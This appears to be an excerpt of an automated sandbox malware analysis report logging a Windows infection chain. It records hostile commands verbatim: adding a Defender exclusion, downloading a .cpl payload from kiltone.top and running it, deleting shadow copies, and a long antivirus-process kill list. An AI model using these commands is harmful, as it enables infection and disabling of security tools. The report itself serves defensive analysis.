Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

barindex
Source: eryy65ty.exe, 00000022.00000000.1645551347.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 00000029.00000000.1829617145.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 0000002E.00000000.1911486180.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe.31.drBinary or memory string: COULD NOT CREATE CHILD PROCESSWOW64DISABLEWOW64FSREDIRECTIONKERNEL32.DLLWOW64REVERTWOW64FSREDIRECTIONABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ\WMIC.EXE\..\\WBEM\\SYSTEM32\\WINDOWS\C:\SHADOWCOPY DELETEAVPMAPP.EXE,ECONCEAL.EXE,SECHEALTHUI.EXE,RUNTIMEBROKER.EXE,ESCANMON.EXE,ESCANPRO.EXE,TRAYSSER.EXE,TRAYICOS.EXE,ECONSER.EXE,VIEWTCP.EXE,FSHDLL64.EXE,FSGK32.EXE,FSHOSTER32.EXE,FSMA32.EXE,FSORSP.EXE,FSSM32.EXE,FSM32.EXE,TRIGGER.EXE,FPROTTRAY.EXE,FPWIN.EXE,FPAVSERVER.EXE,AVK.EXE,GDBGINX64.EXE,AVKPROXY.EXE,GDSCAN.EXE,AVKWCTLX64.EXE,AVKSERVICE.EXE,AVKTRAY.EXE,GDKBFLTEXE32.EXE,GDSC.EXE,VIRUSUTILITIES.EXE,GUARDXSERVICE.EXE,GUARDXKICKOFF_X64.EXE,IPTRAY.EXE,FRESHCLAM.EXE,FRESHCLAMWRAP.EXE,K7RTSCAN.EXE,K7FWSRVC.EXE,K7PSSRVC.EXE,K7EMLPXY.EXE,K7TSECURITY.EXE,K7AVSCAN.EXE,K7CRVSVC.EXE,K7SYSMON.EXE,K7TSMAIN.EXE,K7TSMNGR.EXE,MPCMDRUN.EXE,NANOSVC.EXE,NANOAV.EXE,NNF.EXE,NVCSVC.EXE,NBROWSER.EXE,NSEUPDATESVC.EXE,NFSERVICE.EXE,CMD.EXETASKKILL/IMNWSCMON.EXE,NJEEVES2.EXE,NVCOD.EXE,NVOY.EXE,ZLHH.EXE,ZLH.EXE,NPROSEC.EXE,ZANDA.EXE,NS.EXE,ACS.EXE,OP_MON.EXE,PSANHOST.EXE,PSUAMAIN.EXE,PSUASERVICE.EXE,AGENTSVC.EXE,BDSSVC.EXE,EMLPROXY.EXE,OPSSVC.EXE,ONLINENT.EXE,QUHLPSVC.EXE,SAPISSVC.EXE,SCANNER.EXE,SCANWSCS.EXE,SCPROXYSRV.EXE,SCSECSVC.EXE,SUPERANTISPYWARE.EXE,SASCORE64.EXE,SSUPDATE64.EXE,SUPERDELETE.EXE,SASTASK.EXE,K7RTSCAN.EXE,K7FWSRVC.EXE,K7PSSRVC.EXE,K7EMLPXY.EXE,K7TSECURITY.EXE,K7AVSCAN.EXE,K7CRVSVC.EXE,K7SYSMON.EXE,K7TSMAIN.EXE,K7TSMNGR.EXE,UIWINMGR.EXE,UIWATCHDOG.EXE,UISEAGNT.EXE,PTWATCHDOG.EXE,PTSVCHOST.EXE,PTSESSIONAGENT.EXE,COREFRAMEWORKHOST.EXE,CORESERVICESHELL.EXE,UIUPDATETRAY.EXE,VIPREUI.EXE,SBAMSVC.EXE,SBAMTRAY.EXE,SBPIMSVC.EXE,BAVHM.EXE,BAVSVC.EXE,BAVTRAY.EXE,BAV.EXE,BAVWEBCLIENT.EXE,BAVUPDATER.EXE,MCSHIELDCCC.EXE,MCSHIELDRTM.EXE,MCSHIELDDS.EXE,MCS-UNINSTALL.EXE,SDSCAN.EXE,SDFSSVC.EXE,SDWELCOME.EXE,SDTRAY.EXE,UNTHREAT.EXE,UTSVC.EXE,FORTICLIENT.EXE,FCAPPDB.EXE,FCDBLOG.EXE,FCHELPER64.EXE,FMON.EXE,FORTIESNAC.EXE,FORTIPROXY.EXE,FORTISSLVPNDAEMON.EXE,FORTITRAY.EXE,FORTIFW.EXE,FORTICLIENT_DIAGNOSTIC_TOOL.EXE,AV_TASK.EXE,CERTREG.EXE,FILMSG.EXE,FILUP.EXE,FILWSCC.EXE,FILWSCC.EXE,PSVIEW.EXE,QUAMGR.EXE,QUAMGR.EXE,SCHMGR.EXE,SCHMGR.EXE,TWSSCAN.EXE,TWSSRV.EXE,USERREG.EXESEDEBUGPRIVILEGECOULD NOT SET SE_DEBUG_NAME PRIVILEGE
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-client-migration-replacement.man
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-drivers-migration-replacement.man
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-migration-replacement.man
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3213Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3486Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8000Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1304Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4873Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3879Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7239
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2480
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4433
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5299
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\fjeljies.cplJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7528Thread sleep count: 3213 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532Thread sleep count: 3486 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592Thread sleep time: -4611686018427385s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7556Thread sleep time: -2767011611056431s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7236Thread sleep count: 8000 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588Thread sleep time: -8301034833169293s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5452Thread sleep count: 1304 > 30Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8116Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8412Thread sleep count: 4873 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8460Thread sleep time: -18446744073709540s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8416Thread sleep count: 3879 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8488Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8396Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8496Thread sleep time: -1844674407370954s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2060Thread sleep count: 7239 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7772Thread sleep count: 2480 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2296Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7716Thread sleep count: 4433 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4372Thread sleep count: 5299 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4612Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4296Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 8524Thread sleep count: 39 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 8524Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 1212Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 5432Thread sleep count: 63 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 7720Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 2536Thread sleep count: 41 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 2536Thread sleep count: 71 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 5324Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\migration\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\migration\wtr\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\hwvid-migration-2\
Source: svchost.exe, 0000000A.00000002.2599654108.000002B6C8E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2602278019.000002B6CE65B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: 1696503498461.1e2e5577-cac5-4055-93e4-8fa3b7876f3a.first-shutdown.jsonlz4.34.drBinary or memory string: "VMware V[
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior

HIPS / PFW / Operating System Protection Evasion

barindex
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmpJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmpJump to behavior
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmpJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user\AppData\Local\Temp/fjeljies.cplJump to behavior
